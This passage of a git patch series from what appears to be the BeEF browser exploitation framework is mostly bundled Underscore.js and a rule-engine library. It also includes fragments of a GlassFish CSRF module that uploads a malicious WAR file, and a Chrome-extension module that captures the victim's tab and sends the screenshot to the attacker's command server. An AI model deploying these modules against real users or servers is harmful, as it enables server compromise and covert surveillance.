_.has(b, key) && eq(a[key], b[key], stack))) break; + } + } + // Ensure that both objects contain the same number of properties. + if (result) { + for (key in b) { + if (_.has(b, key) && !(size--)) break; + } + result = !size; + } + } + // Remove the first object from the stack of traversed objects. + stack.pop(); + return result; + } + + // Perform a deep comparison to check if two objects are equal. + _.isEqual = function(a, b) { + return eq(a, b, []); + }; + + // Is a given array, string, or object empty? + // An "empty" object has no enumerable own-properties. + _.isEmpty = function(obj) { + if (obj == null) return true; + if (_.isArray(obj) || _.isString(obj)) return obj.length === 0; + for (var key in obj) if (_.has(obj, key)) return false; + return true; + }; + + // Is a given value a DOM element? + _.isElement = function(obj) { + return !!(obj && obj.nodeType == 1); + }; + + // Is a given value an array? + // Delegates to ECMA5's native Array.isArray + _.isArray = nativeIsArray || function(obj) { + return toString.call(obj) == '[object Array]'; + }; + + // Is a given variable an object? + _.isObject = function(obj) { + return obj === Object(obj); + }; + + // Is a given variable an arguments object? + _.isArguments = function(obj) { + return toString.call(obj) == '[object Arguments]'; + }; + if (!_.isArguments(arguments)) { + _.isArguments = function(obj) { + return !!(obj && _.has(obj, 'callee')); + }; + } + + // Is a given value a function? + _.isFunction = function(obj) { + return toString.call(obj) == '[object Function]'; + }; + + // Is a given value a string? + _.isString = function(obj) { + return toString.call(obj) == '[object String]'; + }; + + // Is a given value a number? + _.isNumber = function(obj) { + return toString.call(obj) == '[object Number]'; + }; + + // Is a given object a finite number? + _.isFinite = function(obj) { + return _.isNumber(obj) && isFinite(obj); + }; + + // Is the given value `NaN`? + _.isNaN = function(obj) { + // `NaN` is the only value for which `===` is not reflexive. + return obj !== obj; + }; + + // Is a given value a boolean? + _.isBoolean = function(obj) { + return obj === true || obj === false || toString.call(obj) == '[object Boolean]'; + }; + + // Is a given value a date? + _.isDate = function(obj) { + return toString.call(obj) == '[object Date]'; + }; + + // Is the given value a regular expression? + _.isRegExp = function(obj) { + return toString.call(obj) == '[object RegExp]'; + }; + + // Is a given value equal to null? + _.isNull = function(obj) { + return obj === null; + }; + + // Is a given variable undefined? + _.isUndefined = function(obj) { + return obj === void 0; + }; + + // Has own property? + _.has = function(obj, key) { + return hasOwnProperty.call(obj, key); + }; + + // Utility Functions + // ----------------- + + // Run Underscore.js in *noConflict* mode, returning the `_` variable to its + // previous owner. Returns a reference to the Underscore object. + _.noConflict = function() { + root._ = previousUnderscore; + return this; + }; + + // Keep the identity function around for default iterators. + _.identity = function(value) { + return value; + }; + + // Run a function **n** times. + _.times = function (n, iterator, context) { + for (var i = 0; i < n; i++) iterator.call(context, i); + }; + + // Escape a string for HTML interpolation. + _.escape = function(string) { + return (''+string).replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"').replace(/'/g, ''').replace(/\//g,'/'); + }; + + // If the value of the named property is a function then invoke it; + // otherwise, return it. + _.result = function(object, property) { + if (object == null) return null; + var value = object[property]; + return _.isFunction(value) ? value.call(object) : value; + }; + + // Add your own custom functions to the Underscore object, ensuring that + // they're correctly added to the OOP wrapper as well. + _.mixin = function(obj) { + each(_.functions(obj), function(name){ + addToWrapper(name, _[name] = obj[name]); + }); + }; + + // Generate a unique integer id (unique within the entire client session). + // Useful for temporary DOM ids. + var idCounter = 0; + _.uniqueId = function(prefix) { + var id = idCounter++; + return prefix ? prefix + id : id; + }; + + // By default, Underscore uses ERB-style template delimiters, change the + // following template settings to use alternative delimiters. + _.templateSettings = { + evaluate : /<%([\s\S]+?)%>/g, + interpolate : /<%=([\s\S]+?)%>/g, + escape : /<%-([\s\S]+?)%>/g + }; + + // When customizing `templateSettings`, if you don't want to define an + // interpolation, evaluation or escaping regex, we need one that is + // guaranteed not to match. + var noMatch = /.^/; + + // Certain characters need to be escaped so that they can be put into a + // string literal. + var escapes = { + '\\': '\\', + "'": "'", + 'r': '\r', + 'n': '\n', + 't': '\t', + 'u2028': '\u2028', + 'u2029': '\u2029' + }; + + for (var p in escapes) escapes[escapes[p]] = p; + var escaper = /\\|'|\r|\n|\t|\u2028|\u2029/g; + var unescaper = /\\(\\|'|r|n|t|u2028|u2029)/g; + + // Within an interpolation, evaluation, or escaping, remove HTML escaping + // that had been previously added. + var unescape = function(code) { + return code.replace(unescaper, function(match, escape) { + return escapes[escape]; + }); + }; + + // JavaScript micro-templating, similar to John Resig's implementation. + // Underscore templating handles arbitrary delimiters, preserves whitespace, + // and correctly escapes quotes within interpolated code. + _.template = function(text, data, settings) { + settings = _.defaults(settings || {}, _.templateSettings); + + // Compile the template source, taking care to escape characters that + // cannot be included in a string literal and then unescape them in code + // blocks. + var source = "__p+='" + text + .replace(escaper, function(match) { + return '\\' + escapes[match]; + }) + .replace(settings.escape || noMatch, function(match, code) { + return "'+\n_.escape(" + unescape(code) + ")+\n'"; + }) + .replace(settings.interpolate || noMatch, function(match, code) { + return "'+\n(" + unescape(code) + ")+\n'"; + }) + .replace(settings.evaluate || noMatch, function(match, code) { + return "';\n" + unescape(code) + "\n;__p+='"; + }) + "';\n"; + + // If a variable is not specified, place data values in local scope. + if (!settings.variable) source = 'with(obj||{}){\n' + source + '}\n'; + + source = "var __p='';" + + "var print=function(){__p+=Array.prototype.join.call(arguments, '')};\n" + + source + "return __p;\n"; + + var render = new Function(settings.variable || 'obj', '_', source); + if (data) return render(data, _); + var template = function(data) { + return render.call(this, data, _); + }; + + // Provide the compiled function source as a convenience for build time + // precompilation. + template.source = 'function(' + (settings.variable || 'obj') + '){\n' + + source + '}'; + + return template; + }; + + // Add a "chain" function, which will delegate to the wrapper. + _.chain = function(obj) { + return _(obj).chain(); + }; + + // The OOP Wrapper + // --------------- + + // If Underscore is called as a function, it returns a wrapped object that + // can be used OO-style. This wrapper holds altered versions of all the + // underscore functions. Wrapped objects may be chained. + var wrapper = function(obj) { this._wrapped = obj; }; + + // Expose `wrapper.prototype` as `_.prototype` + _.prototype = wrapper.prototype; + + // Helper function to continue chaining intermediate results. + var result = function(obj, chain) { + return chain ? _(obj).chain() : obj; + }; + + // A method to easily add functions to the OOP wrapper. + var addToWrapper = function(name, func) { + wrapper.prototype[name] = function() { + var args = slice.call(arguments); + unshift.call(args, this._wrapped); + return result(func.apply(_, args), this._chain); + }; + }; + + // Add all of the Underscore functions to the wrapper object. + _.mixin(_); + + // Add all mutator Array functions to the wrapper. + each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) { + var method = ArrayProto[name]; + wrapper.prototype[name] = function() { + var wrapped = this._wrapped; + method.apply(wrapped, arguments); + var length = wrapped.length; + if ((name == 'shift' || name == 'splice') && length === 0) delete wrapped[0]; + return result(wrapped, this._chain); + }; + }); + + // Add all accessor Array functions to the wrapper. + each(['concat', 'join', 'slice'], function(name) { + var method = ArrayProto[name]; + wrapper.prototype[name] = function() { + return result(method.apply(this._wrapped, arguments), this._chain); + }; + }); + + // Start chaining a wrapped Underscore object. + wrapper.prototype.chain = function() { + this._chain = true; + return this; + }; + + // Extracts the result from a wrapped and chained object. + wrapper.prototype.value = function() { + return this._wrapped; + }; + +}).call(this); + +}); From 6063e6246dc0b3d82ab636dcdcc6e5f09bbbfb5b Mon Sep 17 00:00:00 2001 From: qswain2 Date: Sat, 2 Jun 2012 13:15:35 -0400 Subject: [PATCH 002/225] Added miniied jools to lib and included jools in buildjs string. Had to modify the underscore template settis to resolve conflicts in the erubis evaluator. Created are object as apart of beefjs and created basic stub to create the jools object. --- core/main/client/are.js | 11 +++++++++++ core/main/client/lib/jools.min.js | 1 + 2 files changed, 12 insertions(+) create mode 100644 core/main/client/are.js create mode 100644 core/main/client/lib/jools.min.js diff --git a/core/main/client/are.js b/core/main/client/are.js new file mode 100644 index 000000000..f1c7588d8 --- /dev/null +++ b/core/main/client/are.js @@ -0,0 +1,11 @@ + +beef.are = { + init:function(){ + var Jools = require('jools'); + this.ruleEngine = new Jools(); + }, + rules:[], + commands:[], + results:[] +}; +beef.regCmp("beef.are"); \ No newline at end of file diff --git a/core/main/client/lib/jools.min.js b/core/main/client/lib/jools.min.js new file mode 100644 index 000000000..daf16b60d --- /dev/null +++ b/core/main/client/lib/jools.min.js @@ -0,0 +1 @@ +var require=function(file,cwd){var resolved=require.resolve(file,cwd||"/");var mod=require.modules[resolved];if(!mod){throw new Error("Failed to resolve module "+file+", tried "+resolved)}var res=mod._cached?mod._cached:mod();return res};require.paths=[];require.modules={};require.extensions=[".js",".coffee"];require._core={assert:true,events:true,fs:true,path:true,vm:true};require.resolve=(function(){return function(x,cwd){if(!cwd){cwd="/"}if(require._core[x]){return x}var path=require.modules.path();cwd=path.resolve("/",cwd);var y=cwd||"/";if(x.match(/^(?:\.\.?\/|\/)/)){var m=loadAsFileSync(path.resolve(y,x))||loadAsDirectorySync(path.resolve(y,x));if(m){return m}}var n=loadNodeModulesSync(x,y);if(n){return n}throw new Error("Cannot find module '"+x+"'");function loadAsFileSync(x){if(require.modules[x]){return x}for(var i=0;i=0;i--){if(parts[i]==="node_modules"){continue}var dir=parts.slice(0,i+1).join("/")+"/node_modules";dirs.push(dir)}return dirs}}})();require.alias=function(from,to){var path=require.modules.path();var res=null;try{res=require.resolve(from+"/package.json","/")}catch(err){res=require.resolve(from,"/")}var basedir=path.dirname(res);var keys=(Object.keys||function(obj){var res=[];for(var key in obj){res.push(key)}return res})(require.modules);for(var i=0;i0){var fn=queue.shift();fn()}}},true)}return function(fn){if(canPost){queue.push(fn);window.postMessage("browserify-tick","*")}else{setTimeout(fn,0)}}})()}if(!process.title){process.title="browser"}if(!process.binding){process.binding=function(name){if(name==="evals"){return require("vm")}else{throw new Error("No such module")}}}if(!process.cwd){process.cwd=function(){return"."}}if(!process.env){process.env={}}if(!process.argv){process.argv=[]}require.define("path",function(require,module,exports,__dirname,__filename){function filter(xs,fn){var res=[];for(var i=0;i=0;i--){var last=parts[i];if(last=="."){parts.splice(i,1)}else{if(last===".."){parts.splice(i,1);up++}else{if(up){parts.splice(i,1);up--}}}}if(allowAboveRoot){for(;up--;up){parts.unshift("..")}}return parts}var splitPathRe=/^(.+\/(?!$)|\/)?((?:.+?)?(\.[^.]*)?)$/;exports.resolve=function(){var resolvedPath="",resolvedAbsolute=false;for(var i=arguments.length;i>=-1&&!resolvedAbsolute;i--){var path=(i>=0)?arguments[i]:process.cwd();if(typeof path!=="string"||!path){continue}resolvedPath=path+"/"+resolvedPath;resolvedAbsolute=path.charAt(0)==="/"}resolvedPath=normalizeArray(filter(resolvedPath.split("/"),function(p){return !!p}),!resolvedAbsolute).join("/");return((resolvedAbsolute?"/":"")+resolvedPath)||"."};exports.normalize=function(path){var isAbsolute=path.charAt(0)==="/",trailingSlash=path.slice(-1)==="/";path=normalizeArray(filter(path.split("/"),function(p){return !!p}),!isAbsolute).join("/");if(!path&&!isAbsolute){path="."}if(path&&trailingSlash){path+="/"}return(isAbsolute?"/":"")+path};exports.join=function(){var paths=Array.prototype.slice.call(arguments,0);return exports.normalize(filter(paths,function(p,index){return p&&typeof p==="string"}).join("/"))};exports.dirname=function(path){var dir=splitPathRe.exec(path)[1]||"";var isWindows=false;if(!dir){return"."}else{if(dir.length===1||(isWindows&&dir.length<=3&&dir.charAt(1)===":")){return dir}else{return dir.substring(0,dir.length-1)}}};exports.basename=function(path,ext){var f=splitPathRe.exec(path)[2]||"";if(ext&&f.substr(-1*ext.length)===ext){f=f.substr(0,f.length-ext.length)}return f};exports.extname=function(path){return splitPathRe.exec(path)[3]||""}});require.define("/node_modules/jools/package.json",function(require,module,exports,__dirname,__filename){module.exports={main:"./lib/jools"}});require.define("/node_modules/jools/lib/jools.js",function(require,module,exports,__dirname,__filename){var utils=require("./utils"),_=require("underscore");exports.version="0.0.1";function Jools(rules){this.rules=rules}Jools.prototype.execute=function(fact){var self=this,session=_.clone(fact),last_session=_.clone(fact),goal=false;while(!goal){var changes=false;for(var x=0;x2;if(obj==null){obj=[]}if(nativeReduce&&obj.reduce===nativeReduce){if(context){iterator=_.bind(iterator,context)}return initial?obj.reduce(iterator,memo):obj.reduce(iterator)}each(obj,function(value,index,list){if(!initial){memo=value;initial=true}else{memo=iterator.call(context,memo,value,index,list)}});if(!initial){throw new TypeError("Reduce of empty array with no initial value")}return memo};_.reduceRight=_.foldr=function(obj,iterator,memo,context){var initial=arguments.length>2;if(obj==null){obj=[]}if(nativeReduceRight&&obj.reduceRight===nativeReduceRight){if(context){iterator=_.bind(iterator,context)}return initial?obj.reduceRight(iterator,memo):obj.reduceRight(iterator)}var reversed=_.toArray(obj).reverse();if(context&&!initial){iterator=_.bind(iterator,context)}return initial?_.reduce(reversed,iterator,memo,context):_.reduce(reversed,iterator)};_.find=_.detect=function(obj,iterator,context){var result;any(obj,function(value,index,list){if(iterator.call(context,value,index,list)){result=value;return true}});return result};_.filter=_.select=function(obj,iterator,context){var results=[];if(obj==null){return results}if(nativeFilter&&obj.filter===nativeFilter){return obj.filter(iterator,context)}each(obj,function(value,index,list){if(iterator.call(context,value,index,list)){results[results.length]=value}});return results};_.reject=function(obj,iterator,context){var results=[];if(obj==null){return results}each(obj,function(value,index,list){if(!iterator.call(context,value,index,list)){results[results.length]=value}});return results};_.every=_.all=function(obj,iterator,context){var result=true;if(obj==null){return result}if(nativeEvery&&obj.every===nativeEvery){return obj.every(iterator,context)}each(obj,function(value,index,list){if(!(result=result&&iterator.call(context,value,index,list))){return breaker}});return !!result};var any=_.some=_.any=function(obj,iterator,context){iterator||(iterator=_.identity);var result=false;if(obj==null){return result}if(nativeSome&&obj.some===nativeSome){return obj.some(iterator,context)}each(obj,function(value,index,list){if(result||(result=iterator.call(context,value,index,list))){return breaker}});return !!result};_.include=_.contains=function(obj,target){var found=false;if(obj==null){return found}if(nativeIndexOf&&obj.indexOf===nativeIndexOf){return obj.indexOf(target)!=-1}found=any(obj,function(value){return value===target});return found};_.invoke=function(obj,method){var args=slice.call(arguments,2);return _.map(obj,function(value){return(_.isFunction(method)?method||value:value[method]).apply(value,args)})};_.pluck=function(obj,key){return _.map(obj,function(value){return value[key]})};_.max=function(obj,iterator,context){if(!iterator&&_.isArray(obj)&&obj[0]===+obj[0]){return Math.max.apply(Math,obj)}if(!iterator&&_.isEmpty(obj)){return -Infinity}var result={computed:-Infinity};each(obj,function(value,index,list){var computed=iterator?iterator.call(context,value,index,list):value;computed>=result.computed&&(result={value:value,computed:computed})});return result.value};_.min=function(obj,iterator,context){if(!iterator&&_.isArray(obj)&&obj[0]===+obj[0]){return Math.min.apply(Math,obj)}if(!iterator&&_.isEmpty(obj)){return Infinity}var result={computed:Infinity};each(obj,function(value,index,list){var computed=iterator?iterator.call(context,value,index,list):value;computedb?1:0}),"value")};_.groupBy=function(obj,val){var result={};var iterator=_.isFunction(val)?val:function(obj){return obj[val]};each(obj,function(value,index){var key=iterator(value,index);(result[key]||(result[key]=[])).push(value)});return result};_.sortedIndex=function(array,obj,iterator){iterator||(iterator=_.identity);var low=0,high=array.length;while(low>1;iterator(array[mid])=0})})};_.difference=function(array){var rest=_.flatten(slice.call(arguments,1),true);return _.filter(array,function(value){return !_.include(rest,value)})};_.zip=function(){var args=slice.call(arguments);var length=_.max(_.pluck(args,"length"));var results=new Array(length);for(var i=0;i=0;i--){args=[funcs[i].apply(this,args)]}return args[0]}};_.after=function(times,func){if(times<=0){return func()}return function(){if(--times<1){return func.apply(this,arguments)}}};_.keys=nativeKeys||function(obj){if(obj!==Object(obj)){throw new TypeError("Invalid object")}var keys=[];for(var key in obj){if(_.has(obj,key)){keys[keys.length]=key}}return keys};_.values=function(obj){return _.map(obj,_.identity)};_.functions=_.methods=function(obj){var names=[];for(var key in obj){if(_.isFunction(obj[key])){names.push(key)}}return names.sort()};_.extend=function(obj){each(slice.call(arguments,1),function(source){for(var prop in source){obj[prop]=source[prop]}});return obj};_.pick=function(obj){var result={};each(_.flatten(slice.call(arguments,1)),function(key){if(key in obj){result[key]=obj[key]}});return result};_.defaults=function(obj){each(slice.call(arguments,1),function(source){for(var prop in source){if(obj[prop]==null){obj[prop]=source[prop]}}});return obj};_.clone=function(obj){if(!_.isObject(obj)){return obj}return _.isArray(obj)?obj.slice():_.extend({},obj)};_.tap=function(obj,interceptor){interceptor(obj);return obj};function eq(a,b,stack){if(a===b){return a!==0||1/a==1/b}if(a==null||b==null){return a===b}if(a._chain){a=a._wrapped}if(b._chain){b=b._wrapped}if(a.isEqual&&_.isFunction(a.isEqual)){return a.isEqual(b)}if(b.isEqual&&_.isFunction(b.isEqual)){return b.isEqual(a)}var className=toString.call(a);if(className!=toString.call(b)){return false}switch(className){case"[object String]":return a==String(b);case"[object Number]":return a!=+a?b!=+b:(a==0?1/a==1/b:a==+b);case"[object Date]":case"[object Boolean]":return +a==+b;case"[object RegExp]":return a.source==b.source&&a.global==b.global&&a.multiline==b.multiline&&a.ignoreCase==b.ignoreCase}if(typeof a!="object"||typeof b!="object"){return false}var length=stack.length;while(length--){if(stack[length]==a){return true}}stack.push(a);var size=0,result=true;if(className=="[object Array]"){size=a.length;result=size==b.length;if(result){while(size--){if(!(result=size in a==size in b&&eq(a[size],b[size],stack))){break}}}}else{if("constructor" in a!="constructor" in b||a.constructor!=b.constructor){return false}for(var key in a){if(_.has(a,key)){size++;if(!(result=_.has(b,key)&&eq(a[key],b[key],stack))){break}}}if(result){for(key in b){if(_.has(b,key)&&!(size--)){break}}result=!size}}stack.pop();return result}_.isEqual=function(a,b){return eq(a,b,[])};_.isEmpty=function(obj){if(obj==null){return true}if(_.isArray(obj)||_.isString(obj)){return obj.length===0}for(var key in obj){if(_.has(obj,key)){return false}}return true};_.isElement=function(obj){return !!(obj&&obj.nodeType==1)};_.isArray=nativeIsArray||function(obj){return toString.call(obj)=="[object Array]"};_.isObject=function(obj){return obj===Object(obj)};_.isArguments=function(obj){return toString.call(obj)=="[object Arguments]"};if(!_.isArguments(arguments)){_.isArguments=function(obj){return !!(obj&&_.has(obj,"callee"))}}_.isFunction=function(obj){return toString.call(obj)=="[object Function]"};_.isString=function(obj){return toString.call(obj)=="[object String]"};_.isNumber=function(obj){return toString.call(obj)=="[object Number]"};_.isFinite=function(obj){return _.isNumber(obj)&&isFinite(obj)};_.isNaN=function(obj){return obj!==obj};_.isBoolean=function(obj){return obj===true||obj===false||toString.call(obj)=="[object Boolean]"};_.isDate=function(obj){return toString.call(obj)=="[object Date]"};_.isRegExp=function(obj){return toString.call(obj)=="[object RegExp]"};_.isNull=function(obj){return obj===null};_.isUndefined=function(obj){return obj===void 0};_.has=function(obj,key){return hasOwnProperty.call(obj,key)};_.noConflict=function(){root._=previousUnderscore;return this};_.identity=function(value){return value};_.times=function(n,iterator,context){for(var i=0;i/g,">").replace(/"/g,""").replace(/'/g,"'").replace(/\//g,"/")};_.result=function(object,property){if(object==null){return null}var value=object[property];return _.isFunction(value)?value.call(object):value};_.mixin=function(obj){each(_.functions(obj),function(name){addToWrapper(name,_[name]=obj[name])})};var idCounter=0;_.uniqueId=function(prefix){var id=idCounter++;return prefix?prefix+id:id};_.templateSettings={evaluate:/<::([\s\S]+?)::>/g,interpolate:/<::=([\s\S]+?)::>/g,escape:/<:-([\s\S]+?):>/g};var noMatch=/.^/;var escapes={"\\":"\\","'":"'",r:"\r",n:"\n",t:"\t",u2028:"\u2028",u2029:"\u2029"};for(var p in escapes){escapes[escapes[p]]=p}var escaper=/\\|'|\r|\n|\t|\u2028|\u2029/g;var unescaper=/\\(\\|'|r|n|t|u2028|u2029)/g;var unescape=function(code){return code.replace(unescaper,function(match,escape){return escapes[escape]})};_.template=function(text,data,settings){settings=_.defaults(settings||{},_.templateSettings);var source="__p+='"+text.replace(escaper,function(match){return"\\"+escapes[match]}).replace(settings.escape||noMatch,function(match,code){return"'+\n_.escape("+unescape(code)+")+\n'"}).replace(settings.interpolate||noMatch,function(match,code){return"'+\n("+unescape(code)+")+\n'"}).replace(settings.evaluate||noMatch,function(match,code){return"';\n"+unescape(code)+"\n;__p+='"})+"';\n";if(!settings.variable){source="with(obj||{}){\n"+source+"}\n"}source="var __p='';var print=function(){__p+=Array.prototype.join.call(arguments, '')};\n"+source+"return __p;\n";var render=new Function(settings.variable||"obj","_",source);if(data){return render(data,_)}var template=function(data){return render.call(this,data,_)};template.source="function("+(settings.variable||"obj")+"){\n"+source+"}";return template};_.chain=function(obj){return _(obj).chain()};var wrapper=function(obj){this._wrapped=obj};_.prototype=wrapper.prototype;var result=function(obj,chain){return chain?_(obj).chain():obj};var addToWrapper=function(name,func){wrapper.prototype[name]=function(){var args=slice.call(arguments);unshift.call(args,this._wrapped);return result(func.apply(_,args),this._chain)}};_.mixin(_);each(["pop","push","reverse","shift","sort","splice","unshift"],function(name){var method=ArrayProto[name];wrapper.prototype[name]=function(){var wrapped=this._wrapped;method.apply(wrapped,arguments);var length=wrapped.length;if((name=="shift"||name=="splice")&&length===0){delete wrapped[0]}return result(wrapped,this._chain)}});each(["concat","join","slice"],function(name){var method=ArrayProto[name];wrapper.prototype[name]=function(){return result(method.apply(this._wrapped,arguments),this._chain)}});wrapper.prototype.chain=function(){this._chain=true;return this};wrapper.prototype.value=function(){return this._wrapped}}).call(this)}); \ No newline at end of file From ac258f654d08110398a15e29d6e081b536e005a3 Mon Sep 17 00:00:00 2001 From: bmantra Date: Mon, 4 Jun 2012 21:21:27 +0200 Subject: [PATCH 003/225] added not_working: ["IE"] --- modules/exploits/glassfish_war_upload_xsrf/config.yaml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/glassfish_war_upload_xsrf/config.yaml b/modules/exploits/glassfish_war_upload_xsrf/config.yaml index c065be089..38febe15b 100644 --- a/modules/exploits/glassfish_war_upload_xsrf/config.yaml +++ b/modules/exploits/glassfish_war_upload_xsrf/config.yaml @@ -22,4 +22,5 @@ beef: description: "This module attempts to deploy a malicious war file on an Oracle GlassFish Server 3.1.1 (build 12). It makes advantage of a CSRF bug in the REST interface.
For more information refer to http://blog.malerisch.net/2012/04/oracle-glassfish-server-rest-csrf.html." authors: ["Bart Leppens"] target: - working: ["FF","S","C"] + working: ["FF", "S", "C"] + not_working: ["IE"] From 3accb24b2bf038d849d131e53ac68ca9632fd165 Mon Sep 17 00:00:00 2001 From: bmantra Date: Wed, 13 Jun 2012 10:00:10 +0200 Subject: [PATCH 004/225] Does not work in Opera due to cross domain issues. And cannot work in IE due to lack of sendAsBinary-functionality in xmlhttprequest. So removed the Base64-library and used atob instead. --- .../glassfish_war_upload_xsrf/command.js | 101 +----------------- .../glassfish_war_upload_xsrf/config.yaml | 2 +- 2 files changed, 4 insertions(+), 99 deletions(-) diff --git a/modules/exploits/glassfish_war_upload_xsrf/command.js b/modules/exploits/glassfish_war_upload_xsrf/command.js index a7d2744ad..9d681a207 100644 --- a/modules/exploits/glassfish_war_upload_xsrf/command.js +++ b/modules/exploits/glassfish_war_upload_xsrf/command.js @@ -25,99 +25,6 @@ beef.execute(function() { var logUrl = restHost + '/management/domain/applications/application'; - //BEGIN Daniel Guerrero binary Base64-library -/* -Copyright (c) 2011, Daniel Guerrero -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - * Neither the name of the Daniel Guerrero nor the - names of its contributors may be used to endorse or promote products - derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL DANIEL GUERRERO BE LIABLE FOR ANY -DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/** - * Uses the new array typed in javascript to binary base64 encode/decode - * at the moment just decodes a binary base64 encoded - * into either an ArrayBuffer (decodeArrayBuffer) - * or into an Uint8Array (decode) - * - * References: - * https://developer.mozilla.org/en/JavaScript_typed_arrays/ArrayBuffer - * https://developer.mozilla.org/en/JavaScript_typed_arrays/Uint8Array - */ - -var Base64Binary = { - _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", - - /* will return a Uint8Array type */ - decodeArrayBuffer: function(input) { - var bytes = Math.ceil( (3*input.length) / 4.0); - var ab = new ArrayBuffer(bytes); - this.decode(input, ab); - - return ab; - }, - - decode: function(input, arrayBuffer) { - //get last chars to see if are valid - var lkey1 = this._keyStr.indexOf(input.charAt(input.length-1)); - var lkey2 = this._keyStr.indexOf(input.charAt(input.length-1)); - - var bytes = Math.ceil( (3*input.length) / 4.0); - if (lkey1 == 64) bytes--; //padding chars, so skip - if (lkey2 == 64) bytes--; //padding chars, so skip - - var uarray; - var chr1, chr2, chr3; - var enc1, enc2, enc3, enc4; - var i = 0; - var j = 0; - - if (arrayBuffer) - uarray = new Uint8Array(arrayBuffer); - else - uarray = new Uint8Array(bytes); - - input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); - - for (i=0; i> 4); - chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); - chr3 = ((enc3 & 3) << 6) | enc4; - - uarray[i] = chr1; - if (enc3 != 64) uarray[i+1] = chr2; - if (enc4 != 64) uarray[i+2] = chr3; - } - - return uarray; - } -} - //END Daniel Guerrero binary Base64-library if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) { XMLHttpRequest.prototype.sendAsBinary = function(datastr) { @@ -204,10 +111,8 @@ var Base64Binary = { var c = "--" + boundary + "\r\n" c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n'; c += "Content-Type: application/octet-stream\r\n\r\n"; - - for(var i = 0; i< value.length; i++){ - c+=String.fromCharCode(value[i] & 0xff); - } + + c += atob(value); c += "\r\n"; return c; @@ -215,7 +120,7 @@ var Base64Binary = { function start() { - fileUpload(Base64Binary.decode(warBase),warName); + fileUpload(warBase,warName); } start(); diff --git a/modules/exploits/glassfish_war_upload_xsrf/config.yaml b/modules/exploits/glassfish_war_upload_xsrf/config.yaml index 38febe15b..77572060e 100644 --- a/modules/exploits/glassfish_war_upload_xsrf/config.yaml +++ b/modules/exploits/glassfish_war_upload_xsrf/config.yaml @@ -23,4 +23,4 @@ beef: authors: ["Bart Leppens"] target: working: ["FF", "S", "C"] - not_working: ["IE"] + not_working: ["IE", "O"] From cb9125eb1a53a3c6da891fef3f998a4f2073f31e Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Wed, 13 Jun 2012 21:33:47 +1200 Subject: [PATCH 005/225] added a chrome_extension module that takes a screenshot of the current tab, image returned as dataurl for now --- .../social_engineering/screenshot/command.js | 22 ++++++++++++++++ .../social_engineering/screenshot/config.yaml | 26 +++++++++++++++++++ .../social_engineering/screenshot/module.rb | 24 +++++++++++++++++ 3 files changed, 72 insertions(+) create mode 100755 modules/social_engineering/screenshot/command.js create mode 100755 modules/social_engineering/screenshot/config.yaml create mode 100755 modules/social_engineering/screenshot/module.rb diff --git a/modules/social_engineering/screenshot/command.js b/modules/social_engineering/screenshot/command.js new file mode 100755 index 000000000..16fcb3b17 --- /dev/null +++ b/modules/social_engineering/screenshot/command.js @@ -0,0 +1,22 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + chrome.tabs.captureVisibleTab(null, function(img) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'img: ' + img.toString()); + }); +}); + diff --git a/modules/social_engineering/screenshot/config.yaml b/modules/social_engineering/screenshot/config.yaml new file mode 100755 index 000000000..23d222c17 --- /dev/null +++ b/modules/social_engineering/screenshot/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + screenshot: + enable: true + category: "Chrome Extensions" + name: "Screenshot" + description: "Screenshots current tab the user is in, screenshot returned as base64d data for a dataurl" + authors: ["mh"] + target: + working: ["C"] + not_working: ["All"] diff --git a/modules/social_engineering/screenshot/module.rb b/modules/social_engineering/screenshot/module.rb new file mode 100755 index 000000000..75849d756 --- /dev/null +++ b/modules/social_engineering/screenshot/module.rb @@ -0,0 +1,24 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the 